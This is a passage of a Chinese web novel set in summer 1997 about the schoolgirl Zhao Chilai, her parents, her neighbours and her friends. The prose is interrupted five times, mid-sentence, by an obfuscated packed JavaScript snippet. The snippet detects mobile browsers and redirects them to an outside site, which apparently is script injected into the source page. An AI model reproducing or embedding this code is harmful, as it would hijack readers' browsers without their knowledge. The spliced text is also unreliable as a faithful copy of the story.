“我看你是没时间吃饭了,让你早点起早点起,天天踩着点出门!对面的阿休我就不说了,那你拍马都追不上。你看看人家阿律!再看看思泉!6点半就出了门,周围哪个不比你早?” 梁惠叉腰站在原地,一脸恨铁不成钢。 “慢慢!快走了!” 张鑫扛着书包从外面一晃而过,不等有什么回应就跑得毛都不剩。 “你看看,连阿鑫都比你早。”梁惠果然没放过这个嘴她的机会。 “……” 这个张三金,他家前面是没路吗?非得绕过来从这边过? 真是贱得没边! 她起身去放杯子。 “说你两句就跑,你去哪儿?我还没说完呢。” “上学。”赵迟来有气无力,抓起书包出门,“走了。” “早饭不吃了?”真见她走了梁惠又有点迟疑。 “前面买点。”她不紧不慢。 “哦,”梁惠往屋走,半路又探头,“晚上想吃什么?” “吃鳖。” “……”梁惠握拳。 学校很近。 直走就行了。 经过羽毛球馆出了巷子进入北街,再直走穿过骑楼广场和后面的花城古学宫,就到了。 十二分钟路程,赵迟来能走得比表还准。 广场旁边有一溜早餐店。 她站在包子铺和炒粿店之间,纠结了一会儿决定去前面买粥。 “迟来!” 身后有人叫她。 是个穿花衬衫的中年男,她的一个表舅。 也在这片儿但不住附近,是黎阿公家的租客,听说没什么正经工作,还喜欢玩股票。 “表舅早。” 赵迟来礼貌还是有的。 “去上学啊?” “嗯。” “早饭吃了没有?” “没有,正要吃。” “那表舅正好请你,想吃什么?” “……” 他以前没这么热情的。 赵迟来看了一眼他身边的朋友,恍然大悟。点点头笑眯眯道:“那就来个包子吧,谢谢表舅!” “一个哪儿够你这长身体,给她来两个肉包,挑大个的!再来两杯豆浆。” 他果然只是为了长面子,下完单就领着朋友进去坐,嘴里聊着什么“股票”什么“大涨”,应该是赚了不少。 赵迟来接过袋子准备走,隐约听见那位朋友在问她:“刚是你外甥?” 表舅随口回答:“对,我田字巷那表姐的女儿。” 对方长哦了一声:“就是那个说是入赘,结果二代就还宗的赵庆国吗?” “对对对。” “真不是个男人,就算要还,一个女仔又有什好还的嘛……” 赵迟来拎塑料袋的手紧了紧,但什么也没说,继续往前走,再不走就要迟到了。 她前脚刚走,后脚一个穿运动套装的平头男人就小跑进了田字巷。 梁惠正在院子里晒衣服,被突然推开的院门吓了一跳:“老婆我回来了!” “呀……你有病啊回来就回来,想吓死谁?”梁惠当即丢了手里的衣服,一脸不高兴。 “这不是想给你个惊喜吗?哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259262|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你猜我带回什么好东西?”他双手背在身后,语气神神秘秘。 【赵庆国。 1955年生,重庆市三峡库区人,一个整天笑呵呵的乐天派!年轻的时候很有几分姿色,他能成为牌坊街唯一的赘婿,脸是决定因素。 但据赵迟来所知,他入赘的理由并没有这么“梦幻”,其实是现实压力所致—— 早年他来花城务工,因为体格很好被阿公看上想要收为弟子传承衣钵,起初他并不愿意,是为了混口饭吃才勉强答应,结果没两年阿公就因病去世。 原本他得自己另谋出路,但阿嬷看中他做女婿,供他去读了几年书,又做了体育老师。他感恩戴德,所以留下做了赘婿。 和梁惠一样,他也对赵迟来有个指望: 希望她能在进入大学之前,打入花城截拳锦标赛(青少年组)决赛,圆了他当年半途而废的遗憾。 从赵迟来目前一切向好的比赛成绩来看,这个决赛还是很有盼头的。】 “什么?”梁惠配合问道。 “你猜猜嘛,好东西,对你对慢慢身体心理和眼睛都特别有好处的东西!大胆猜猜!很贵哦!”赵庆国一边卖弄一边暗示。 梁惠不知想到什么,眼底微微一亮,随即又很快压下去故作不关心,转过来看向他身后。 “什么呀神神秘秘……” “不行不行,你得猜一下,一次都行。” “没兴趣,腰都疼死了谁要猜?”梁惠失去兴趣,作势要进屋。 “哎哎哎给你看给你看!”赵庆国这就忍不住自己拿出来,“当当当当!” “有慢慢爱吃的乌鱼子,这可是从台湾来的哦。”他拎出一个小塑料袋,又拎出一个大的,“还有你爱吃的三黎鱼,这可都是今早出炉的新鲜货,天不亮我就去鱼排蹲的!你别看只有这么点,我可是搜罗了好几家才凑到,这年头小三黎真是越来越难搞到了……” “还有这个,这个,这些杂咸,”他又拿出几个瓶瓶罐罐,“都是慢慢阿嬷亲手做的,我知道你爱吃这口,她叫我少拿点我都没听的!” 一开始梁惠还有点耐心,眼见他袋子都快露底,还都是些七七八八的吃货,眼里的光渐渐就熄灭了。 “哦,那很好啊。” “还有这个!这个也是给你的!”他最后拉出一串干鱼鳔,“好几年的陈年花胶了,三叔公家里的,我可是一眼就相中了,可以煮白菜炖鸡汤给你补一补……” “知道了你都放厨房吧,我有点累了,补个觉。”还没说完呢,梁惠已经捏着腰回房间了。 赵庆国一顿,立马放下手里的东西过来扶她,问她哪里不舒服,要不要去医院。 梁惠轻轻摇头,确实精神有点不济:“休息一下就好,你记得把衣服晾了。” “这些小事就交给我,你好好休息。”他无有不应的。 6. 1997年夏 06 傍晚赵迟来放学回来吃晚饭。 赵庆国已经把家里收拾得井井有条,厨房里香气扑鼻。梁惠则无所事事坐在沙发上,一边嗑瓜子一边看电视。 “妈……爸爸!你回来了!” 一看这个场面赵迟来瞬间明白过来,放下背包就冲进厨房。 赵庆国端着一大碗热汤,连忙叫她避开,顺便让她收拾碗筷准备吃饭。 “呜呜爸爸我太想你了,妈妈趁你不在天天骂我。”她第一时间告状。 “哈。”梁惠吐了一口瓜子皮,“骂你就说,管你吃喝拉撒你怎么不说?” “你压根都没回来,兰姨都比你管得多呢。”她做了个鬼脸。 “我看你皮又痒了。” 梁惠二话不说抄起拖鞋就要丢过来,赵迟来熟练抱头躲闪。 “爸!你管管她呀!一说就炸这谁受得了?受气包也受不了!” “好了好了,食饭头等事,摆桌摆桌。”赵庆国连忙圆场叫停战事。 “等会儿,我另外分点出来,慢慢你先给阿律阿鑫还有你表哥送过去。”梁惠自己吃饭不积极,送人情倒是积极得很。 本来满满几大盆,分完就只剩平平一碗了。 但赵迟来也没什么意见,黎明律和黎阿公都不怎么会做饭,日常都在外面吃,张鑫和表哥则又是另一回事了。 如果碰上陈抑休在家,她还得少吃几口。 她刚到巷子里,就和同样端着两个菜碗的三金撞个正着。两人对视一眼,面无表情交换手里的菜碟。 “你的,我哥的。”这是赵迟来。 “你的,阿律的。”这是张三金。 然后分道扬镳。 “阿公,吃饭了。” 黎家阿公正在给门口的花圃扎篱笆,他院子里种了不少花卉,月季,绣球,蜘蛛兰,百子莲,晚香玉……应有尽有,一年四季都郁郁葱葱。 “是慢慢啊,又麻烦你跑一趟。” “顺手的事,黎明律没回吗?”院子里只有他一个。 “马上不是期末吗?他最近都回来很晚,反正我一个人随便对付几口就行的。”他手上没停,指了指葡萄藤下的凉桌,“放那儿就好了,我做完再吃。” “那可不行,食饭头等事,下工下工!”她放下碗就来拉扯人过来,“我爸今天做了炸三黎,等会儿放凉就不好吃了。” “不急不急,就差一点。” “事情是做不完的,但吃完这顿还不知道有没有下顿,还是先吃。” “哎呀你这丫头越说越晦气,我是要活一百岁的。”阿公有些不高兴,但终究还是被她拉过来。 黎阿公是牌坊街出了名的怪老头,明明儿子媳妇很有出息,三番五次接他过去住他却推三阻四,说要守着黎家祖宅。平时一副生人勿近的衰脸,但谁家要有点事却又总是第一个出面话事。 面冷心热,赵迟来压根不怕他。 “对了阿公,旁边巷子里的灯好像坏了。”走之前她想起来说了灯泡的事。 “嗯?我昨晚回来还是好的啊。”他已经抄起筷子。 “你平时睡多早,我们凌晨回的呢,应该是暴风卷坏的。”赵迟来捻起两根三金送来的豆角,含含糊糊往回走,“回了阿公。” “……” 黎阿公微微一顿,没再说什么,只是看了眼挂灯的方向有点纳闷。 好不容易开饭,赵庆国问起等会儿晚上她怎么安排,是去自习还是补习? “自习自习,完了还得做几套模拟,明天练拳。”赵迟来没有说出他想要的答案。 “马上就是期末,自习的时候要自觉,上次给你买的那套训练册做完了吗?”梁惠很满意。 “……完了完了。”完了,哪个来着? “做完了等会儿给我看看。” “明天吧……在补习班呢。” 她说完,轮到赵庆国。 “拳法这个东西跟你的学业是一样的,不进则退温故而知新,三天打鱼两天晒网是不行的,一定要天天练日日练。下半年你就高三了,今年暑假的这场决赛,咱们无论如何也一定要打进去!”一番老生常谈。 “嗯嗯嗯,我会加油的!”赵迟来舀起一勺汤,转移话题,“哇,居然有乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259263|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼子!” 乌鱼。 一种洄游性鱼类,喜欢生活在浅海、内湾或河口水域,一般长到三四年体重二三公斤以上性腺才成熟,才能产卵繁殖。 每年冬天,沿海的乌鱼都会洄游南下去产卵,经过台湾海峡,沿海岸线一直南下到外海去□□,然后折返。 所以花城虽然盛产乌鱼,但乌鱼子却很稀少,一般都是从台湾来的。 至于吃法。 通常会用木板压去水分,压成扁平的椭圆后挂起来晾干。晾干后再切成薄片,炭火微烤,或者白酒炙烤,蘸上酱油姜葱,风味独特非常好吃! “还有三黎鱼!” 花城人热爱吃鱼,有“春鳊秋鲤夏三黎”的时令说法,而梁惠最爱吃三黎。 不用什么复杂的狠活,直接油炸的她最喜欢吃,每年五六月家里的餐桌上都少不了这道菜。 近些年三黎价贵,吃的次数并不多,赵迟来每一口都吃得特别满足。 “爸这个是什么?怎么之前没见过?” “这是酸菜,你阿嬷新做的,好吃得很,你尝尝。” “酸菜炖哥那鱼?”赵迟来有点疑惑,“不是一般都用来做鱼丸吗?” “这个也好吃,你爸做的酸菜哥那鱼堪称一绝。”梁惠十分捧场,先干为敬。 超迟来浅尝一口,眼神放光:“好喝!以前怎么没做?” 赵庆国哈哈一笑:“以前你那不是还小吗?不敢当你面吃,现在你长大了不用怕鱼刺,今天突然想起来就做了。” 赵迟来听出点别的东西:“哦?这么看来,你们平时没少背着我偷偷吃独食!” “那要不然呢?”赵庆国理所当然。 “你们可是大人诶,怎么还会像小孩子一样不着调啊?”赵迟来控诉。 “大人只在小孩子面前才是大人,小孩子不在就会变成小孩,你不知道吗?”赵庆国一本正经。 “不知道,我还是小孩子。” 其实不止大人,小孩子也是如此—— 他们在大人面前是小孩子,大人不在,就会变成大人。这个道理,她很快就会懂。 7. 1997年夏 07 晚上九点。 铃声响起,大家陆陆续续起身收拾东西。 “慢慢,今天我妈炖了鸡脚翅,你要不要来我家喝一点?顺便看看我给你新做的衣服啊。”文思泉转向身后。 赵迟来还没说什么,旁边的张三金已经伸过来:“我最喜欢吃这个了,算我一个吧!” 文思泉一口答应:“好啊。” 赵迟来却摇了摇头:“我还得赶作业,明天我妈要查账的,晚点走。” “什么作业?刚才不是收完了吗?” “补习班的作业啦,整整一大本!” “还差多少?” “你们应该问写了多少。” 赵迟来有气无力收拾东西。 “哪个科目?看看我们能不能……” “数学。” “那没事了。”张三金立刻拒绝,“我对数学的了解仅限于十二星座,思泉咱们走吧。” “数学我也不是很会,语文英语我倒是可以帮你……” 赵迟来本来就没指望他们,挥手让他们早点回去。她打算去找个外挂。 黎明律和他们不是一个班,而且晚自习一般都会自己在图书馆,她不好打扰。好吧,更多是不想找他,这家伙看着人模人样,脾气真是狗都不如! 初中的时候她就找过他。 本着不懂就问的态度虚心求教,但只是因为在同一个知识点犯了两次错,他就口出恶言,阴阳怪气—— “你一定要帮我黎明律!求求了这个暑假我一定要提高20分!否则我妈真会吃了我!” “20分?未免太操之过急了。” “是吧!你也觉得我妈这个要求太过分了吧!” “我是说暑假这么久,区区20分现在就开始太操之过急了。” “嗯?” “等最后10天你再来找我。” 最后当然是不了了之。 她才不会去自取其辱呢!转头就去找了一休哥。 “可以啊。”陈抑休答应得非常爽快。 “真的吗!我就知道你最有义气!”她超惊喜的。 “一次两块,不超过两个小时,每超一个小时加一块钱,能接受吗?”他很快补充。 “……”呵呵。 不过忍痛试了一次之后,她发现一休哥简直太好用了! 不管多难的题,到他手里不到两分钟都能解出来,甚至她题目都没看完呢,他的手指就已经落到了正确答案的旁边。 她问原因,他也会仔仔细细一遍一遍告诉她解题思路,虽然她根本听不懂,但用户体验真的很好啊!绝对的物超所值! 一休哥,一款超强人工智能解题工具。 赵迟来收好东西直奔陈抑休所在的院附属学校。这个点他通常还在实验室。 “阿叔我找一下陈抑休,东风班的陈抑休。”她熟门熟路找到安保室。对方已经对她很熟悉,热情招呼她进来喝水,然后用呼机帮她联系人。 不过一会儿有人回电,让放她进去。 “谢谢阿叔!” 实验室只有两三个人。 陈抑休坐在靠窗的位置,桌面的纸笔文件工具散得到处都是。 赵迟来不太敢出声打扰,打算和往常一样就在门外等会儿。没想到隔壁有人敲了敲陈抑休的桌子,他很快留意门外的动静起身出来。 “哈哈,我是不是打扰你了?”赵迟来有点不好意思,“你要是有正事我就回去了。” “啊,是迟来啊。”他似乎才认出她,“没有,这两天刚结束一个课题,最近可以轻松一段时间。” “哦哦那就好,”赵迟来低头从兜里翻出两张皱巴巴的1块,递给他,“呐,还是老规矩,今天借我2个小时!” 他微微一愣,缓了缓才反应过来:“你明天有作业要交?” 赵迟来点头:“一大本。” 他看了眼墙上的挂钟:“明天不是周末,你确定要熬这么晚吗?” “也不用全做完,一半我就能交差了。” 他想了想,点点头:“好,那我们现在回去,去我房间。” 赵迟来下意识点头,听明白有点疑惑:“哎?林首席他们还没回来吗?” 林首席是陈抑休的养母,花城市舞团的首席。 5岁那年陈抑休的父母因为实验事故出事,是林院长特别安排自己的侄女林首席一家将陈抑休接过来。 林家有个女儿身体不太好,夫妻俩有演出基本也会带在身边,近些年陈抑休大了他们更少回来,每年都有大半时间各地巡演,顺便带着女儿疗养。 虽然现在家里没有其他人…… “这不太好吧?那可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259264|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是林首席诶。”林首席和梁惠关系不太好,平常赵迟来碰上都会躲着走,虽然人不在家但还是心里怪别扭,“不能就在这边?” 陈抑休在学校有宿舍,之前的作业大部分都是在他宿舍里抄的。 “怕熬得太晚了我还得送你回去,不如就在家里。”他眨了眨眼,笑着解释。 “……” 赵迟来琢磨了好一会儿,依旧没有琢磨出来这话到底是好是赖。 这不重要,答应就行了。 临近晚上十一点半。 赵迟来合上练习册长出一口气:“终于——” 她一副累虚脱的样子,而旁边的某个浩南头却还能悠哉悠哉看书。 “你在看什么?”她随口问。 陈抑休压下书页,露给她看。 “《高情商决定好未来》?”她有点懵,“你现在改看这种东西了?” “随便看看。”他喝了口茶。 “我就说你最近怎么不买《老夫子》了!原来闲钱都用在这种地方?”她夺过他手里的书一把按在书桌上,抓住他的肩膀疯狂耸动,“不行不行不可以!我要看老夫子老夫子老夫子!” “咳,咳咳……等一………” “不管不管不管!给你三天时间,我要看到最新一期的老夫子!” “咳咳好!你先,先放开我。” “说好咯?不会忘记吧?要不要写下来?”她嘴里一边说,手上一边展示自己线条清晰的肱二头肌,脸上一片笑眯眯。 “不会,我记得非常清楚。”他正色保证。 赵迟来见他懂事,轻哼一声起身。 拿起大功告成的练习册,越看越满意,最后叉腰哈哈大笑:“一休哥!我简直太爱和你一起学习了!” 陈抑休眨了眨眼不置一词,默默端起茶杯喝了一口。 赵迟来心里高兴,出来踢踢踏踏往对面的家里走。 院里的灯亮着,是爸妈还在等她,隔壁黎明律房间的灯居然也还亮着,有点稀奇。 这个点他一般早就睡了,今天倒还熬着。难不成……他其实也期末焦虑?只是表面上风轻云淡,其实心里早就腥风血雨! 背着人头悬梁锥刺股,躺上床也是睁着眼睡觉。 “哈哈!” 她被自己脑补的画面逗笑了,捂着嘴继续往回溜达。 8. 1997年夏 08 第二天课间。 赵迟来哈欠连天,趴桌上打算休息一会儿。 “跟我走吧,天亮就出发!梦已经醒来,心不会害,怕!有一个地方,那是快乐老家……” 张三金手舞足蹈回到座位,看了两眼赵迟来的脸,摘下耳机递给她一张纸,“眼屎,擦擦。” 赵迟来一脸“你是不是有病”,她刚进入状态。 “昨天晚上怎么样?” “什么怎么样?”她一把扯过来。 “少装,别以为我不知道你作业昨天找谁抄的。” “哦,那又怎么样?想要封口费?可以啊。”她直接撸起袖子。 “……”他缩了缩脖子,哼哼唧唧,“也不怕给你妈看出问题。” “还要你说,我都是先写在纸上,再混些错的抄上去。” “啧啧,期末考试呢?你找谁抄?” “抄我的,我给慢慢抄。”文思泉抽空回头。 赵迟来对他做了鬼脸,扭头继续补觉。 “哎,说正经的,考完试阿律有个比赛,你要不要去做牛马报答一下。”他还没死心,把她的脸强行转过来。 “什么比赛?什么报答?你再扯我一个试试?”她睁眼,眼底两片红血丝。 “篮球联赛啊,咱校队进决赛了你不是知道吗?”黎明律当然会打篮球,德智体美劳全面发展的多边形战士并非浪得虚名。 “他都熬夜替你写作业了,你给他做做后勤怎么了?” “谁给我熬夜写作业?黎明律?”她蹙眉。 “赵慢慢,你怎么用人脸朝前,用完忘脑后啊!”张三金大为不满。 “……” 赵迟来加载了一会儿,终于明白问题在哪儿,“你该不会以为昨天帮我写作业的是黎明律吧?” “……不,不是吗?”他有点懵。 “是什么让你产生了这种错觉?”她面无表情。 “昨天晚上我们出来碰上他,顺口说起你得留下赶作业,他一听就折回去了,说正好有事找你说。” “?”她完全不知道这回事。 “你们没碰上吗?” “我去找一休哥了,可能刚好错过。” “哦。”张三金不在意这些无关紧要的细节,回归正题,“所以篮球赛你会去的吧?” 晚上赵迟来照常给黎阿公送饭,碰上正要出门的黎明律。 “图书馆到底有谁在啊?你怎么天天都要去?”她随口吐槽。 黎明律脚下一顿,回得毫不相干:“你昨天找阿休抄作业了?” 赵迟来仿佛被谁开了一枪,紧张观望:“你能不能低声点,这是什么能正大光明说出来的话吗?” 他言简意赅:“下次可以找我。” 她皱眉:“啊?我没听错吧?你这么好心?” “阿休最近跟林院长他们在做一个很重要的课题,一旦失败几年的成果都会付之东流,没空应付你这些小事,有空也让他自己休息。”他一脸正色,全然为陈抑休打算,把她贬得一文不值。 赵迟来当然听出来了,心里窝火:“你倒是会心疼你一休哥哥,不像我,只会给他添乱。” “……” 他目色沉沉,脸色像吃了苍蝇屎,“我没开玩笑。” “谁要你帮我,就你那臭脾气,说不了两道题就能跟我打到屋顶上去,这人你丢得起我可丢不起。”她一口拒绝,端着碗往里走,“阿公!吃饭了!” 她并不是信口开河。 这样的事情真的发生过,最后以她把黎明律揍出尿,梁惠把她揍出屎狼狈收尾。 “哦对了,”她半路出声叫住他,“三金说昨晚上你找我了?什么事儿?” 黎阿公已经接过碗准备开吃,闻言也好奇抬头。 黎明律顿了顿,说了句“没事”。 “……” 她目送他快步离开,脸皱成一团,“跟有病一样。”转头对上阿公不甚愉快的脸,知道这话被他听去了,立刻嘿嘿一笑。 “我开玩笑的阿公,你慢慢吃!慢慢吃……” 七月中的时候,期末考试如期而至。 天气越发炎热,一考完赵迟来就抱着冰西瓜不想出门。 这天张鑫带着一大袋冰激凌过来找她,一起来的还有文思泉。 “有没有兴趣玩个游戏?”他一脸兴奋。 “没兴趣。”赵迟来没有起身的意思。 “好的那我们来掰方糕吧!”他自顾自点头,拿出一块方糕冰淇淋,“老规矩,谁掰到的最少谁付钱!” “准备好了吗?”他举手。 “准备好了!”文思泉摩拳擦掌。 “第一局就由田字巷三金哥对战八字巷文老板!那么,现在开始!” “请多指教!” “……” 赵迟来挖了一勺瓜瓤,嚼出一脸无法理解。 怎么会有人快十八岁了还喜欢玩这种幼稚无聊的游戏? 两分钟后。 “接下来出场的依旧是田字巷赵选手,她的对手是连续蝉联3届方糕杯大赛冠军的三金哥!到底是赵选手后来居上还是三金哥遥遥领先呢?让我们拭目以待!”文思泉背对电视坐在地上,和另外两人呈三角之势。 “首先出手的是我们赵选手!她以一招朝生无影手先发制人!” “三金哥不甘示弱,看似不变应万变实则暗自发力,占据方糕更多的表面积。” “哎呀!赵选手这边率先出现塌方,这是一个危险的信号!一旦发力过猛这场战局将会以前所未有的速度结束!” “让我们再看看三金哥这边,优势在我!优势在我!顶部的裂面已经完全朝赵选手倾斜了,只要三金哥稳住局势,他将会以绝对的优势继续蝉联方糕杯第四届冠军! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259265|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “咔嚓。” 方糕彻底裂开,赵迟来手里只剩下两个角。 “三金哥赢了!三金哥赢了!” “让我们恭喜三金哥再次卫冕!” “承让承让!” 张鑫四处感谢并不存在的观众席,一抬头和门口两张同款麻木的脸对个猝不及防。 “阿律?一休哥?你们什么时候来的?” 话音刚落,文思泉突然从盘腿坐收成了抱膝正坐,把皱巴巴的裙摆扯了扯。 赵迟来拍了拍身边的地方腾座位:“你们来得正好,谁要是能替我绝地反击,我给他当牛做马干一暑假的西瓜开瓢员。” “……你这是想惩罚谁啊?”张三金瞟了眼她胸口到处都是的西瓜汁。 “你别管,我在问他们。”她直勾勾望着门口,偷偷做了个祈求的手势。 先开口的是陈抑休,他摸了摸口袋:“我来给……” 黎明律也几乎同时开口:“我来试试。” 陈抑休转头,似乎听见什么不可理喻的话:“你刚才不还说幼稚?” “你听错了。”他抬脚脱鞋进屋。 一堆歪七竖八的人字拖里,摆着一双整整齐齐的白色运动鞋。 陈抑休愣了愣,也抬脚进屋,却没有参与战局,而是把裤兜里的两本小人书先拿出来。 “新一期的老夫子,我给你放这儿了。” “哦哦好,我等会看!”赵迟来随口应付,注意都在新打开的方糕上。 和攻势猛烈的赵迟来不同,黎明律的手法温和多了,没见他怎么用力,方糕就断在了张鑫的指头附近。 “行啊你黎明律!一招制敌!”赵迟来兴奋不已,啪的给了他一巴掌。 黎明律吃痛,轻嘶一声,捂着胳膊往旁边挪远了点。 “哎思泉,你刚刚怎么不解说了?这么激烈的战斗,改天换地的一局就应该慷慨激昂的大说特说啊!”她看向黎明律旁边的文思泉。 “啊哦,好,这次我试试。”她点点头,从方糕上回神。 “不来了不来了,今天已经掰够多了,等会儿都化了。”张鑫耍起了赖。 “你给我坐下!”赵迟来怎么可能放他走。 “我饿了你不让我吃?你这人胜负欲不要太强了!” “等会儿有的是你吃,毕竟花的都是你的钱呢!” “一休哥你看她!胡搅蛮缠的一点都不讲道理,伙同他人以多欺少,这场比赛一点都不公平!”他假模假式找陈抑休哭诉。 “不难的,他不动你也不动,以静制动。”陈抑休淡淡支招。 “说得容易,他绵里藏针根本静不了!不信你和他试试!” 明晃晃的怂恿。 连赵迟来都看出来了。 她翻了个白眼,正要打断他施法,陈抑休居然真的答应了。 “好,我来帮你。” 9. 1997年夏 09 他接替张鑫的位置。 慢条斯理撕开一只新的方糕,递给黎明律。 赵迟来紧张兮兮催促黎明律:“你捏上一点,别傻了吧唧又捏后面。” “我自有应对。”他平静接住。 对面也一脸平静,两人的手都稳得不行。 这场比赛刚刚开始就立刻进入僵持阶段,根本无从解说。 “……” 赵迟来左看看右看看,对毫无进展的战况十分不满。“不是,你俩疗伤呢?动啊,怎么不动?” 张鑫和文思泉也一脸好奇。 对战的两人谁都没有说话,只是各自平视对方的眼睛,甚至连表情都没有。 时间一点一点流逝。 眼看方糕都软了,表面还没有断裂的痕迹,赵迟来终于明白:“好好好,你俩闲得没事玩同归于尽是吧?” “哎等会儿……”张鑫忽然指着方糕出声。 但赵迟来压根没听。 她一把抓向两人的中间,把已经将要融化的方糕连皮带肉一口塞进嘴里,含含糊糊发飙: “我偏不让!” 众人沉默。 张鑫一脸无语:“你到底在急什么啊,明明马上就有胜负了!” 赵迟来忿忿往下咽:“再不吃都化了,我自己的钱我心疼不行吗?” 这就是认输了。 张鑫本就是这个目的,也没再揪着不放。但看她气得双颊发肿梗着脖子往下咽,又不免觉得好笑:“好了好了,算我请的,真是犟种一个。” 几人围着一起把撕碎的冰淇淋都吃了,拍拍屁股各回各家。 送成绩单的老师就是这时候来的。 “黎明律!你们都在这儿?那正好一起给了!”对方从自行车筐里拿出一沓纸,递给打头的。 “给我看看!”张鑫立刻围上去,抽出自己那张还顺便把黎明律的看了,“啧啧啧你还是人吗?语文也能考99?” “为什么不能?”黎明律面露疑惑,“满分又不是98。” “……”他咂巴了一下嘴,无言以对。 陈抑休好奇探头。 “阿律应该还是第一,你是多少?” 张鑫立刻躲开:“嘿嘿,也就五六七八百吧起起伏伏的,你怎么不问赵迟来?她就比我稳定多了……” “张三金!你再多说一个字试试?”赵迟来听见动静,出来直接动手撕他的嘴。 “哎哎!错了错了……下次不敢了。”他立刻滑跪。 另一边的黎明律已经对着她的成绩单皱眉多时:“赵迟来,你该不会是故意的。” “啊?” “就是完全乱选,从概率的角度来说你的数学也不应该只有8分吧?”他举起她的单子满眼不可置信。 张鑫一愣,哈哈大笑:“我看你天天补习挺用功的,还以为你要一鸣惊人呢!结果就8分?” “要你管?我就是故意的怎么了?还给我!”赵迟来气急败坏抢回来,转身顺带给了张鑫一拳。 让他笑,好笑吗?! 她一边折起来一边往屋里走。 半路腕上突然一紧,整个人不受控制被人带着飞出去。是黎明律,他拉着她转头就走,直接往自己家书房里带。 “喂你干嘛?” “想不明白,请教你点事。” “啊?” 剩下几人对视一眼,也跟过去。 黎明律说的请教还真是请教。 他摊开纸笔刷刷写下几道题,问赵迟来怎么解。 “你问我?” “对,问你。” 赵迟来知道他这么做肯定不是因为他解不出来,因为这题目就是这次的考试题目。 “我,我要是会这个,还能只考八分?”她心虚。 “没让你会,只让你还原一下解题思路。”他示意她拿笔。 “你说还就还,那我多没面子?” “你写,以后抄作业的事东窗事发我给你扛着。” “你就不能想我点好?” “你就说要不要。” 赵迟来仔细琢磨了一会儿,觉得这买卖着实不吃亏,不过是被群嘲一次罢了,能少挨一顿打还是挺值得的。 “行,我写。” 她拿起笔,工工整整写了一个“解”。 然后是两个冒号。 然后开始咬笔帽。 “……” 黎明律狠狠闭眼。 “这样,我就是这样,然后……这里再这么一配……” 笔尖刷刷刷滑动,一会儿就填满了半张纸,但赵迟来的运算还没有停下来的意思,她很努力展示自己每一个思路的细节。 没注意身后围着的几个人表情一个赛一个凝重。 首先是陈抑休张了张嘴,欲言又止。 然后是文思泉张了张嘴,欲言又止。 最后连张鑫都张了张嘴,欲言又止。 只有黎明律全程紧抿双唇,一言不发。 等到赵迟来要翻页写到第二张纸的时候,黎明律终于忍不住伸手按住:“好了,可以了。” 她不满:“我还没写完呢。” “你还挺勤奋的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259266|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他表情有点怪异。 “你才知道吗?我一直有始有终呢!”她压根没察觉。 “也确实只有勤奋了。”他话锋一转。 “……”她反应过来,“你骂我笨?” “实事求是罢了。” “黎明律!别以为我不敢把你怎么样!” “你看这里,你给我讲讲这里,我没懂你为什么会用这个公式……” “因为我喜欢不行吗?” 两人一来一回争吵起来。 “我曾经听我妈说过一句话,”张鑫摇着头,边说边带着陈抑休和文思泉往外走,“不怕人笨,但怕人又笨又勤奋。以前我还不理解其中的可怕之处,今天终于明白了。” “不许你这么说慢慢!”文思泉不满。 “我也觉得迟来挺聪明的,只是有时候想法迂回了一点,容易把自己绕进去。”陈抑休也不认同。 “可以啊,最近这个情商上来了,私下没少用功吧?” “没有没有,也就看了几本书。” 